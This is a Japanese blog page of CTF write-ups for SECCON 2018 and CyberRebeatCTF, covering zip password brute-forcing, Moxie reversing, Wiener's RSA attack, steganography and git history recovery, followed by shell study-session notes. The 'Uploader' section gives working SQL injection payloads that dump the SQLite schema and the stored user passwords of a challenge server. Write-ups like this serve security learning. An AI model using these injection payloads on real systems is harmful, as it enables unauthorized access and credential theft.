プロジェクト

全般

プロフィール

ニュース

SECCON 2018 Writeup

さんが6年以上前に追加

CTF Writeup SECCON 2018

結果&感想

score.png

某チームでSECCON2018に参加しました。
2問解きました。難しかった、そしてどの問題も重かった。

国内決勝上位12チームに入れるかどうかは、スコアボードに国名でないから何番かわかんないねw
期待しないで全裸で待ってる。

Forengics Unzip 101点

zipにはパスワードがかかっている。

Forengics_Unzip.png

makefile.sh

echo 'SECCON{'`cat key`'}' > flag.txt
zip -e --password=`perl -e "print time()"` flag.zip flag.txt

という訳でUnix通算秒がパスワードになってるはずですね。何時かわからんけど。
2018/10/27 0:10 の辺りだろうなと思ったんだけど、とりあえず現在時刻から過去に遡って総当たりしたら終わった。


#!/bin/bash

C=`date +"%s"`

while :
do
  unzip -P $C flag.zip 
  if [ $? != 82 ]
  then
    echo  "-------------------------------------------> $C"
    echo $C >> timeline.txt
    if cat flag.txt |grep SECCON
    then
      exit
    fi
    rm flag.txt
  fi
  : $((C--))
done
Archive:  flag.zip
   skipping: flag.txt                incorrect password
Archive:  flag.zip
   skipping: flag.txt                incorrect password
・
・
・
Archive:  flag.zip
   skipping: flag.txt                incorrect password
Archive:  flag.zip
  inflating: flag.txt                
-------------------------------------------> 1540566641
SECCON{We1c0me_2_SECCONCTF2o18}

Reversing SpecialInstructions 262点

問題

Special Instructions

Execute this file and get the flag.

References:

    Assembly samples for many architectures

http://kozos.jp/books/asm/cross-gcc494-v1.0.zip

See the assembly samples.

$ unzip cross-gcc494-v1.0.zip $ cd cross-gcc494/sample $ ls *.d

See the sample programs running on GDB simulator.

$ cd cross-gcc494/exec $ ls *.d

http://kozos.jp で作問者がわかってしまうw

調査

実行させるべく、まずはアーキテクチャを調べる。

$ file runme
runme: ELF 32-bit MSB executable, *unknown arch 0xdf* version 1 (SYSV), statically linked, not stripped

0xdf…?こんなアーキあるのかなと思いましたが、チームの方がmoxieであることを教えてくれました。ありがたいです。

10進数になおして、223が Moxie processor family でした http://www.sco.com/developers/gabi/latest/ch4.eheader.html

さてこれを実行する環境ですが、作問者のお力を借りるのが最短ルートでしょう!

クロスコンパイル環境の構築はコンパイルに結構な時間を要します

熱血!/大熱血! アセンブラ入門 開発環境のVMイメージからVMイメージをダウンロードします。

SECCON2015にも他種類のCPUアーキテクチャの問題が出ていました。

ダウンロード後、以下で逆アセできます。

$ /usr/local/cross2-gcc494/bin/moxie-elf-objdump -d -M intel ./runme

逆アセしたのは、ここに置いておきます。

Reversing_SpecialInstructions_asm.txt

で、これ実行できないんですよね、gdbで実行しようとしても"Illegal instruction."って表示され、終了します

$ /usr/local/cross2-gcc494/bin/moxie-elf-gdb ./runme

(gdb) target sim
Connected to the simulator.
(gdb) load
Loading section .text, size 0x23e lma 0x1400
Loading section .rodata, size 0xb0 lma 0x1640
Loading section .data, size 0x60 lma 0x1800
Start address 0x1400
Transfer rate: 6768 bits in <1 sec.
(gdb) run
Starting program: /home/user/SECCON2018/Reversing_SpecialInstructions/runme 

Program received signal SIGILL, Illegal instruction.
0x0000154a in set_random_seed ()
(gdb) 

原因は、ここ

0000154a <set_random_seed>:
    154a:       16 20           bad
    154c:       04 00           ret

0000154e <get_random_value>:
    154e:       17 20           bad
    1550:       04 00           ret

16と17の命令はmoxieに存在しません。
この命令をnopとかで潰して実行すると以下が出力されました。

This program uses special instructions.
SETRSEED: (Opcode:0x16)
        RegA -> SEED
GETRAND: (Opcode:0x17)
        xorshift32(SEED) -> SEED
        SEED -> RegA

16と17の命令は実装してね(はあと)って事ですね。

xorshift32

実装にあたって、xorshift32 から調べてみます。

wikipedia:https://ja.wikipedia.org/wiki/Xorshift

Xorshiftは疑似乱数列生成法の1つである。George Marsagliaが2003年に提案した。

Googleさんが採用してるやつかな?

Cの実装例が載っていました。最高です。

uint32_t xor(void) {
  static uint32_t y = 2463534242;
  y = y ^ (y << 13); y = y ^ (y >> 17);
  return y = y ^ (y << 15);
}

アセンブラを読む

わからない命令はココで調べながら読みました。

解りやすいアーキでよかった。。

ざっくりこんな感じになっていました。
私の理解を#以降に書いています。

000015a2 <main>:
    15a2:       06 18           push    $sp, $r6
    15a4:       91 18           dec     $sp, 0x18
    15a6:       01 20 92 d6     ldi.l   $r0, 0x92d68ca2         # set_random_seedに渡す引数(SEED) 0x92d68ca2
    15aa:       8c a2 
    15ac:       03 00 00 00     jsra    154a <set_random_seed>  # set_random_seed関数呼び出し
    15b0:       15 4a 

    中略

    160c:       01 20 00 00     ldi.l   $r0, 0x1800    # decode関数に渡す引数1
    1610:       18 00 
    1612:       01 30 00 00     ldi.l   $r1, 0x1820    # decode関数に渡す引数2
    1616:       18 20 
    1618:       03 00 00 00     jsra    1552 <decode>  # decode関数呼び出し
    161c:       15 52 
    161e:       02 32           mov     $r1, $r0
    1620:       01 20 00 00     ldi.l   $r0, 0x1
    1624:       00 01 
    1626:       19 80           jsr     $r6
    1628:       01 20 00 00     ldi.l   $r0, 0x1
    162c:       00 01 
    162e:       01 30 00 00     ldi.l   $r1, 0x167c
    1632:       16 7c 
    1634:       19 80           jsr     $r6
    1636:       2e 22           xor     $r0, $r0
    1638:       03 00 00 00     jsra    144a <exit>
    163c:       14 4a 
00001552 <decode>:
    1552:       06 18           push    $sp, $r6
    1554:       06 19           push    $sp, $r7
    1556:       06 1a           push    $sp, $r8
    1558:       06 1b           push    $sp, $r9
    155a:       06 1c           push    $sp, $r10
    155c:       06 1d           push    $sp, $r11
    155e:       91 18           dec     $sp, 0x18
    1560:       02 d2           mov     $r11, $r0           # $r11 = $r1(最初が0x1800)
    1562:       1c 42           ld.b    $r2, ($r0)
    1564:       2e 22           xor     $r0, $r0
    1566:       0e 42           cmp     $r2, $r0			
    1568:       c0 12           beq     158e <decode+0x3c> # if $r2 == $r0 then return
    156a:       02 a3           mov     $r8, $r1            # $r8  = $r1(最初が0x1820)
    156c:       02 9d           mov     $r7, $r11           # $r7  = $r11
    156e:       01 c0 00 00     ldi.l   $r10, 0x154e        # $r10 = 0x154e
    1572:       15 4e 										
    1574:       1c 8a           ld.b    $r6, ($r8)          # $r6  = 0x1820の中身
    1576:       2e 22           xor     $r0, $r0            # $r0  = 0
    1578:       19 c0           jsr     $r10                # $r0  = 乱数取得32bit
    157a:       2e 82           xor     $r6, $r0            # $r6  = $r6 xor $r0
    157c:       1c 29           ld.b    $r0, ($r7)          # $r0  = 0x1800の中身
    157e:       2e 82           xor     $r6, $r0            # $r6  = $r6 xor $r0
    1580:       1e 98           st.b    ($r7), $r6          # 0x1800の中身 = $r6
    1582:       89 01           inc     $r7, 0x1            # $r7  = 0x1800++
    1584:       8a 01           inc     $r8, 0x1            # $r8  = 0x1820++
    1586:       1c 39           ld.b    $r1, ($r7)          # $r1  = 0x1800++の中身
    1588:       2e 22           xor     $r0, $r0            # $r0  = 0
    158a:       0e 32           cmp     $r1, $r0			
    158c:       c7 f3           bne     1574 <decode+0x22>  # if $r1 != NULL then goto 0x1574
    158e:       02 2d           mov     $r0, $r11			
    1590:       02 e0           mov     $r12, $fp			
    1592:       9e 18           dec     $r12, 0x18
    1594:       07 ed           pop     $r12, $r11
    1596:       07 ec           pop     $r12, $r10
    1598:       07 eb           pop     $r12, $r9
    159a:       07 ea           pop     $r12, $r8
    159c:       07 e9           pop     $r12, $r7
    159e:       07 e8           pop     $r12, $r6
    15a0:       04 00           ret

という事で、以下の動きになっていることがわかりました。

  1. r6 = 0x1820の中身(1byte)
  2. r0 = 乱数32bit(4byte)
  3. r6 = r6 ^ r0
  4. r0 = 0x1800の中身(1byte)
  5. r6 = r6 ^ r0
  6. 0x1800と0x1820は1増やして、1の処理に戻る

0x1800と0x1820あたりに、どんな値が入っているか調べておきます。

(gdb) x/100x 0x1800
0x1800 <flag>:  0x6d    0x72    0xc3    0xe2    0xcf    0x95    0x54    0x9d
0x1808 <flag+8>:        0xb6    0xac    0x03    0x84    0xc3    0xc2    0x35    0x93
0x1810 <flag+16>:       0xc3    0xd7    0x7c    0xe2    0xdd    0xd4    0xac    0x5e
0x1818 <flag+24>:       0x99    0xc9    0xa5    0x34    0xde    0x06    0x4e    0x00
0x1820 <randval>:       0x3d    0x05    0xdc    0x31    0xd1    0x8a    0xaf    0x29
0x1828 <randval+8>:     0x96    0xfa    0xcb    0x1b    0x01    0xec    0xe2    0xf7
0x1830 <randval+16>:    0x15    0x70    0x6c    0xf4    0x7e    0xa1    0x9e    0x0e
0x1838 <randval+24>:    0x01    0xf9    0xc2    0x4c    0xba    0xa0    0xa1    0x08
0x1840 <randval+32>:    0x70    0x24    0x85    0x8a    0x4d    0x2d    0x3c    0x02
0x1848 <randval+40>:    0xfc    0x6f    0x20    0xf0    0xc7    0xad    0x2f    0x97
0x1850 <randval+48>:    0x2b    0xcc    0xa3    0x34    0x23    0x53    0xc9    0xb7
0x1858 <randval+56>:    0x0c    0x10    0x6c    0x0e    0xfa    0xf9    0xa1    0x9a
0x1860: 0x00    0x00    0x00    0x00

xorshift32ですが、乱数といってもシード固定の計算値なので、予め計算しておきます。

$ cat xorshift32.c 
#include <stdio.h>
#include <stdint.h>

uint32_t xor(void) {
  static uint32_t y = 0x92d68ca2;
  int i;

  for(i=0;i<40;i++)
  {
    y = y ^ (y << 13); y = y ^ (y >> 17);
    y = y ^ (y << 15);
    printf("%x\n",y);
  }
  return y;
}

main(void){
  xor();
}

$ gcc  xorshift32.c ;./a.out 
35c36d03
c8fa2132
9f72275c
3ed1ca90
e32b4951
1c29ac51
e5e39880
7f0f53f9
89d0b941
f5e6563d
cbf769ad
4ba4dacc
49a432b2
c557954b
40a4eeb4
dd74800d
ce2e86b7
2a1de9cb
f6084259
70ff1d78
b93854d0
b5228d01
8b22df40
8b583725
e54151fb
e45c5644
1e13e10e
6a399017
f63e5c0a
bcd582d5
9ec62492
7e8849b8
ce8cf267
4dc3ba07
99204746
f619cfa2
3bc7e854
43540b32
d727aa2b
4fefdb1a

実装

ここまで判ったらシェルでシュッてできるんやで

solv.sh

#!/bin/bash

IFS='
'

LIST='
35c36d03 6d 3d
c8fa2132 72 05
9f72275c c3 dc
3ed1ca90 e2 31
e32b4951 cf d1
1c29ac51 95 8a
e5e39880 54 af
7f0f53f9 9d 29
89d0b941 b6 96
f5e6563d ac fa
cbf769ad 03 cb
4ba4dacc 84 1b
49a432b2 c3 01
c557954b c2 ec
40a4eeb4 35 e2
dd74800d 93 f7
ce2e86b7 c3 15
2a1de9cb d7 70
f6084259 7c 6c
70ff1d78 e2 f4
b93854d0 dd 7e
b5228d01 d4 a1
8b22df40 ac 9e
8b583725 5e 0e
e54151fb 99 01
e45c5644 c9 f9
1e13e10e a5 c2
6a399017 34 4c
f63e5c0a de ba
bcd582d5 06 a0
9ec62492 4e a1
7e8849b8 00 08
'

for LINE in $LIST
do
  SEED=$(echo $LINE|awk '{print $1}')
  x1800=$(echo $LINE|awk '{print $2}')
  x1820=$(echo $LINE|awk '{print $3}')
  printf %x $(((0x$x1800^0x$SEED)^0x$x1820))|cut -c7-|xxd -p -r
done
$ ./solv.sh 
SECCON{MakeSpecialInstructions}

おまけ

Forengics History の問題、タイトルがずっと Hisotry だったんだけど、いつの間にかひっそりと修正されていた件。
チームで盛り上がった(変に深読みしたw)

CyberRebeatCTF Writeup

さんが6年以上前に追加

CTF Writeup CyberRebeatCTF

結果&感想

CyberRebeatCTF

Love UI Kit.

でも結構解けて3232点で26位。チーム一人にしては頑張った方では

question.jpg

ranking.jpg

writeupは、すごい簡単なヤツは省略しました

Binary - SimpleBinary

pedaでステップ実行するだけ

Binary_SimpleBinary.png

Crypto - Rotation

問題

P4P6S{9RN4RUNPXR45}

ROT13の亜種と踏んで対応表を作る

P4P6SはCRCTFになることが判っているので、それをヒントに

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
NOPQRSTUVWXYZ__________ABCDEFGHIJKLM

P4P6S{9RN4RUNPXR45}
CRCTF{WEAREHACKERS}

Crypto FLAG.encrypted

暗号文と公開鍵を渡される

公開鍵を見てみる

$ openssl rsa -text -pubin < public-key.pem
Public-Key: (2048 bit)
Modulus:
    00:f7:aa:82:b3:38:65:4d:c5:5b:41:ce:6c:30:c2:
    94:3f:12:eb:9c:4d:f0:90:24:fe:9d:77:31:90:9f:
    a8:fc:c8:92:78:7a:59:ab:cf:cf:5d:18:12:03:2e:
    8f:9e:a7:5d:aa:d5:d5:6c:67:2b:ab:27:c8:bd:83:
    93:f9:2b:b3:f8:e2:f2:e1:88:cb:db:a8:96:1b:35:
    e5:54:f5:ae:8a:c6:39:23:f9:a2:83:d9:00:a2:c5:
    41:32:6d:81:12:15:6e:fe:d5:57:c1:dc:09:05:39:
    f6:d6:c5:d0:76:25:97:dc:13:d8:b6:e9:2a:ed:24:
    dc:a7:88:c0:64:cb:df:b8:c6:d4:da:7f:ba:77:70:
    9e:27:70:11:19:bb:d1:24:b9:fc:9e:ac:e7:95:d4:
    7d:24:46:15:6e:99:a9:c7:96:3d:ed:d6:77:63:38:
    70:8f:0e:6f:ee:3a:90:80:4f:d6:d5:b4:67:e0:98:
    d7:a0:e2:f0:cc:90:70:92:f6:7e:68:14:b9:8a:aa:
    fb:df:82:a4:25:04:35:b1:a2:eb:0f:98:5e:18:49:
    06:b0:53:8c:30:0d:7a:d5:fd:62:36:5e:73:5e:a2:
    c8:2b:6e:0a:98:47:e4:ab:22:07:67:88:ea:c8:68:
    a0:17:23:3d:12:6b:2c:0a:5c:8c:fe:a5:65:c0:f6:
    cf:9d
Exponent:
    00:b4:57:8e:b1:c5:f8:c4:7c:07:69:4e:2a:45:96:
    97:6d:ac:84:35:01:56:ed:1e:03:f7:c1:2b:30:79:
    c0:34:58:b3:e2:dd:94:49:91:fb:de:89:5c:66:f8:
    ad:9a:7a:f8:7a:7e:2d:14:b4:d0:60:cb:d1:7c:c3:
    55:b5:4c:86:5d:cc:74:f7:03:f7:b2:e2:20:4e:0d:
    60:2d:01:63:8f:b3:6e:ae:ec:89:9a:d7:22:56:90:
    7e:e5:32:2e:80:b8:b2:58:95:58:9f:1c:e6:bd:1c:
    a9:8c:38:53:82:07:b1:69:69:01:8f:8c:2f:0e:a5:
    3c:96:64:0d:00:3f:2b:57:af:3e:e0:96:52:44:a9:
    d3:72:43:2b:5b:3a:41:32:50:8b:70:ce:05:17:60:
    fb:9e:5f:70:b9:c9:cb:0e:56:eb:0b:7f:c2:04:d4:
    eb:b8:68:3b:b8:e5:c6:4a:49:b4:7b:c6:c9:2b:d0:
    5c:bf:ae:b8:f6:aa:35:0a:48:e3:0a:4b:5b:9d:c8:
    33:7f:6b:96:46:29:52:01:89:83:13:cf:cf:4f:a7:
    0f:0b:c1:d8:fc:d1:1a:0b:e9:6e:4a:16:32:76:f9:
    96:57:63:d5:fc:9c:fd:a7:26:0d:40:2d:2c:bd:f1:
    73:b4:bf:74:61:10:30:71:3b:4f:8d:5f:5b:ef:e7:
    33:e1
writing RSA key
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEA96qCszhlTcVbQc5sMMKU
PxLrnE3wkCT+nXcxkJ+o/MiSeHpZq8/PXRgSAy6PnqddqtXVbGcrqyfIvYOT+Suz
+OLy4YjL26iWGzXlVPWuisY5I/mig9kAosVBMm2BEhVu/tVXwdwJBTn21sXQdiWX
3BPYtukq7STcp4jAZMvfuMbU2n+6d3CeJ3ARGbvRJLn8nqznldR9JEYVbpmpx5Y9
7dZ3Yzhwjw5v7jqQgE/W1bRn4JjXoOLwzJBwkvZ+aBS5iqr734KkJQQ1saLrD5he
GEkGsFOMMA161f1iNl5zXqLIK24KmEfkqyIHZ4jqyGigFyM9EmssClyM/qVlwPbP
nQKCAQEAtFeOscX4xHwHaU4qRZaXbayENQFW7R4D98ErMHnANFiz4t2USZH73olc
Zvitmnr4en4tFLTQYMvRfMNVtUyGXcx09wP3suIgTg1gLQFjj7NuruyJmtciVpB+
5TIugLiyWJVYnxzmvRypjDhTggexaWkBj4wvDqU8lmQNAD8rV68+4JZSRKnTckMr
WzpBMlCLcM4FF2D7nl9wucnLDlbrC3/CBNTruGg7uOXGSkm0e8bJK9Bcv6649qo1
CkjjCktbncgzf2uWRilSAYmDE8/PT6cPC8HY/NEaC+luShYydvmWV2PV/Jz9pyYN
QC0svfFztL90YRAwcTtPjV9b7+cz4Q==
-----END PUBLIC KEY-----

e(Exponent:の所)がめちゃめちゃデカイ(通常は、60000とかそんなオーダー)ので、Wiener's Attackという方法で秘密鍵を作ることができる

という訳でココを参考にする(これを解くpythonスクリプトが公開されている)

RSAwienerHacker.py

'''
Created on Dec 14, 2011

@author: pablocelayes
'''

import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator

def hack_RSA(e,n):
    '''
    Finds d knowing (e,n)
    applying the Wiener continued fraction attack
    '''
    frac = ContinuedFractions.rational_to_contfrac(e, n)

 中略

if __name__ == "__main__":
    #test_is_perfect_square()
    #print("-------------------------")
    #test_hack_RSA()
    e=22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049
    n=31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341
    c=24567627059377562868105614484423886273024535858360108293709261679303974926550497189439318672624908577264506046476457095137786384831468525272589929094908337881436149324019794812804219891902253459573562430438939521995518048214801992716419439933946327566830472479815195083586095517593863373723430345120492159440493853454549917293994609440452210512119496727038202944137382941943646738720300878617094056966029945525818099278253655536613076435706468907044890014106958504434142807788873217030828773024692575731383406593586446571051817010298103654965540184106091735284849357722355533064377719568465964571451310703450179760412

    hacked_d = hack_RSA(e, n)
        
    m=pow(c, hacked_d, n)
    print m
    print("%0512x" %m).decode("hex") 

出た

$ python RSAwienerHacker.py 
Hacked!
11405121556080574200507976540560550567250962398176989090968706090657735628827286003460256776456266696526501583189995873715586019586481188841669553558064962347526003585805296128704234019155927711938147927921799855258102900099957024052894182297906442193293573956451926259091091855321350867274034175705817860160056101092426800441790539634641631263205085840727897980883608411419899029774809300174380547858121642152179538920767606647604516848492915723070085962700864043872803063238370675580861448504677111372925814117825694429346520229939794702430188586491323156507194176,`/nIPSG766*|,zso123097695888071358419235048714
Dx abyb}0<ƁOGK}
B."Yϱ
     򿍨2:JY\     umU2y*4ԄqquᯖwL CRCTF{On that day, there was definitely something behind Warlock's disappearance.}

Misc - Readme

Misc_readme.jpg

気合で読む、こんな感じ

Misc_readme_excel.jpg

Programing - Calculation

nc 59.106.212.75 8080

こういう問題文。繋ぐと計算式が表示されて、計算結果を返すのを繰り返す
みんな好きな言語でプログラミングすると思うんだけど、こういうのシェルスクリプトでサクッといけるんやで

#!/bin/sh

exec 5<>/dev/tcp/59.106.212.75/8080

for I in {1..101}
do
  cat 0<&5>test.txt &
    sleep 1
    pkill cat
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|bc`
    echo ${ANSWER} >&5
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done

exit 0

Programing - Prime Factor

Answer the maximum prime factor.

nc 59.106.212.75 8081

example:
Question:120
Answer:5 (Prime Factors: 2, 3, 5)

こういうのもシェルスクリプトでサクッといけるんやで(2回目)

#!/bin/sh

exec 5<>/dev/tcp/59.106.212.75/8081

for I in {1..101}
do
  cat 0<&5>test.txt &
    sleep 1
    pkill cat
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|factor|awk '{print $NF}'`
    echo ${ANSWER} >&5
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
done

exit 0

Recon - Tweet

Let's check our official twitter account!

はい

Recon - CyberRebeatScripts

Do you know Github?

調べると出てくる

https://github.com/ennach/CyberRebeatScripts

これを git clone して、git log -p する

commit 86cc1779522ad0708ad0b829935b08ac42b2588d
Author: ennach <ennach@gmail.com>
Date:   Tue Sep 4 22:38:27 2018 +0900

    delete FLAG

diff --git a/chapter1-1en.txt b/chapter1-1en.txt
index db0ded3..a16cc12 100644
--- a/chapter1-1en.txt
+++ b/chapter1-1en.txt
@@ -98,7 +98,6 @@
 "Hiro, I'll take the lady to go."
 "Neko-san already did that joke."
 @erase_chara
-@FLAG=CRCTF{I cut down her gag in a single strike}

Recon - I changed my history on Github!

I changed my history on Github!

ちょっとハマった。該当のリポジトリ

https://github.com/ennach/ChangeHistory

消されたコミットIDは、このページから解る

https://github.com/ennach

[ToDo] I committed the FLAG by mistake!

That commit hash is c476614bc439fe1910e494422b3aa207b776d486 I have to remove it!

無かった事にされたコミットIDは、git cloneしても持ってこれない
ただGitHub上にはあるという事を以下のサイトで知った

No Purpose - GitHub、消えたコミットを追え
http://highwide.hatenablog.com/entry/2015/02/06/204552

という訳で、以下にアクセスすると解る
https://github.com/ennach/ChangeHistory/commit/c476614bc439fe1910e494422b3aa207b776d486

+ からあげとご飯を皿に移し、電子レンジへ放り込む。
+ ちなみにこの電子レンジ、家電の中でも特に魔改造が施されていて、インターフェースまわりは原形を留めてすらいない。代わりにメインの組み込み系がクラックされていて、通常は使用できないモードや機能が使えるようになっているのだという。
+ なんの役にも立たないし、使う気もないのでそちらの機能を試したことは一度もないが。
+「この量なら2分くらいかな」
+ コマンドラインを呼び出し、電子レンジに命令を送る。条件はデフォルト、ただしタイマーのみ120sに設定。実行コマンドを入力して送信すると、ノータイムで目の前の電子レンジが回り始めた。
+ まるで隣の家に宅配便を送るみたいな迂遠さだ。
+「これ、もっとどうにかならないの?」
+「CRCTF{the timer is set to 120 seconds}」

Stegano - secret.pdf

黒塗りされたpdfが渡される

Stegano_secretpdf.jpg

コピペで中身見れる

FLAG is CRCTF{I don't know of a time without the internet}

Stegano - Alpha

Stegano_alpha.png

これに何か入っているらしい
色んな画像ソフトで画質調整すると、おそよ文字っぽいものが見えるのだけど、男性の部分が邪魔して全体が見えない

Stegano_secretpdf1.jpg

png画像のアルファチャンネルだけ上手く抽出できれば良さそうなのだけれど、その方法に難儀していた

うさみみハリケーンの付属ソフト「青い空を見上げればいつもそこに白い猫」で解析できることが解った

うさみみハリケーン Ver 0.28 最新オンラインヘルプ - ステガノグラフィーの解析について
https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAboutSteganography.html

と、言うわけで「青い空を見上げればいつもそこに白い猫」使うと解る

Stegano_secretpdf2.jpg 60%

Stegano - Last 5 boxes

The FLAG is hiding at the last 5 boxes.

https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4

けっこう時間かかった。。

mp4の動画に隠された情報を見つけろいう事やね。どうやらmp4はボックス構造というのになっているらしい
mp4boxというツールで見てみる

<?xml version="1.0" encoding="UTF-8"?>
<!--MP4Box dump trace-->
<IsoMediaFile xmlns="urn:mpeg:isobmff:schema:file:2016" Name="a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4">
<FileTypeBox Size="40" Type="ftyp" Specification="p12" Container="file" MajorBrand="M4V " MinorVersion="0">
<BrandEntry AlternateBrand="M4V "/>
<BrandEntry AlternateBrand="M4A "/>

中略

</MovieBox>
<MediaDataBox Size="20902115" Type="mdat" Specification="p12" Container="file" dataSize="20902107">
</MediaDataBox>
<UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" >
</UUIDBox>
<UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" >
</UUIDBox>
</IsoMediaFile>

なんか1024,1024,1024,1024,1612byteのデータがお尻にくっついているっぽい
見てみますか

Stegano_Last5boxes1.png

あ、赤い所見てみたら「臼NG」の文字が(目grep)、pngファイルのマジックバイトやコレ
きっとお尻にpngがくっついてるね!
しかし、これを切り出して表示したけど、真っ黒

おそらく、残りの4box分のヘッダ情報を取り除かなければ!
ファイルフォーマットを確認してみる

あるべるのIT関連メモ - MP4(コンテナ) - 1.Box構造
https://albel06.hatenablog.com/entry/2017/12/20/205103

こうなってて

aligned(8) class Box (unsigned int(32) box type, 
                      optional unsigned int(8)[16] extended_type) {
    unsigned int(32) size;
    unsigned int(32) type = boxtype;
    if (size == 1) {
        unsigned int(64) largesize;
    } else if (size == 0) {
        // box extends to end of file
    }
    if (boxtype == 'uuid') {
        unsigned int(8)[16] usertype = extended_type;
    }
}

こうなってるらしい

ユーザー定義Box
Boxの定義にはoptionalでextended_typeというものがあり、ユーザーがuuidを設定することでユニークなユーザー定義Boxを使用することができる。そのときのBoxタイプは'uuid'とし、typeの後ろに16byteのuuidを記録する。uuid Box以下、残りの領域は自由に定義が可能。

どうも24byte分の情報を除く(残り四箇所)しなきゃいけないらしい。確認してみる

Stegano_Last5boxes2.png

あーはいはい、そういうことね完全に理解した
仕様通りや

00 00 04 00 : size 1024 byte
75 75 69 64 : type "uuid"
07B14494-B8E2AF4D-9BD6652B-52052AC6 : uuid

という訳でこれらを削除してpng画像完成!

Stegano_Last5boxes3.png

Web - White page

http://hidden-field.cyberrebeat.adctf.online/index.php
id:Hiro
password:LittleGarden

ログインしたくてもできないページ
Chromeのデベロッパーツールで開くとINPUTタグにhidden属性がついてる
これをデベロッパーツールで削除すればログインできる

Web_Whitepage1.png

はい

Web_Whitepage2.png

Web - Uploader

Find the secret file.
http://sqli.cyberrebeat.adctf.online/index.php

id:guest
pass:guest

なんかいろいろやっていると SQL Injection の脆弱性を見つけた
エラーメッセージからSQLiteだという事もわかった

File Name: にこれを入力

' OR 'A' = 'A' --

Web_Uploader1.png

secret.zipが出てきた。ダウンロードしたらzipパスワードかかってる

SQLiteとわかったので、テーブル情報を抜く

' OR 'A' = 'A' union select name,sql,null,null from sqlite_master where type='table' --

Web_Uploader2.png

Files	CREATE TABLE "Files" ( `id`	INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name`	TEXT NOT NULL, `publication_date`	INTEGER NOT NULL, `upload_userid`	TEXT )	  	
Users	CREATE TABLE `Users` ( `userid`	TEXT NOT NULL, `password`	TEXT NOT NULL )	  	
sqlite_sequence	CREATE TABLE sqlite_sequence(name,seq)	

ふんふむ。こんなテーブルだね

Files

id file_name publication_date upload_userid
? ? ? ?

Users

userid password
? ?

じゃ、Usersテーブルからパスワード抜きましょ

' OR 'A' = 'A' union select userid,password,null,null from Users --

Web_Uploader3.png

じゃ、harada seishin0129 でログインしましょう!

Web_Uploader4.png

ほい、zipのパスワードゲット!
zip展開して、コレ

CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}

jus共催 第37回シェル芸bot生きてるか(中略)シェル芸bot向けシェル芸勉強会 に参加させて頂きました!

さんがほぼ7年前に追加

むしろまとめが出来たらここに貼りたく

jus共催 第37回シェル芸勉強会リンク集 | 上田ブログ

null

jus共催 第37回シェル芸bot生きてるかどうか分からないけどシェル芸bot向けシェル芸勉強会

2018年9月1日 さくらインターネットさんセミナールームにて。今回は文字コードの話題が多かったです。問題と解答:

午前の部

鳥海さんのスライド
https://umidori.github.io/shellgei-37th-am/

知見

毎回勉強になります。以下、自分用メモ

awkの中でもパイプが使える

matsuya| kakasi -JH -i utf-8 -o utf-8 | awk '{print | "rev" }'

Twitterで表示する際、行頭の半角スペースが削除されちゃうため、.とか入れて改行するsed

echo hoge | sed 1i.

LT

LTした。これ。Unicodeの闇

jus共催 第36回七夕・・・7は素数じゃないですか(しかも2つ)シェル芸勉強会 に参加させて頂きました!

さんがほぼ7年前に追加

jus共催 第36回シェル芸勉強会を開催しました | 上田ブログ

null

jus共催 第36回七夕・・・7は素数じゃないですか(しかも2つ)シェル芸勉強会

2018年7月7日さくらインターネットさんのセミナールームにて出題:

知見

毎回勉強になります。以下、自分用メモ

パイプの出力はループに渡せる

$ seq 10|while read s ;do echo "ループ$((++l))回目" $s; done
ループ1回目 1
ループ2回目 2
ループ3回目 3
ループ4回目 4
ループ5回目 5
ループ6回目 6
ループ7回目 7
ループ8回目 8
ループ9回目 9
ループ10回目 10

peeコマンドは便利(moreutils)

pee is like tee but for pipes. Each command is run and fed a copy of the standard input. The output of all commands is sent to stdout.
Note that while this is similar to tee, a copy of the input is not sent to stdout, like tee does.

LT

深い

素晴らしい…!

LTした。これ。みんなで仕込もうゼロ幅スペース!

NICTオープンハウス2018に行ってきました!

さんがほぼ7年前に追加

年一回、NICTの門が開かれるんですが、平日にやる年が多いです。今年は運良く土曜日にやっていたので行って参りました。

open-house2018 | NICT-情報通信研究機構

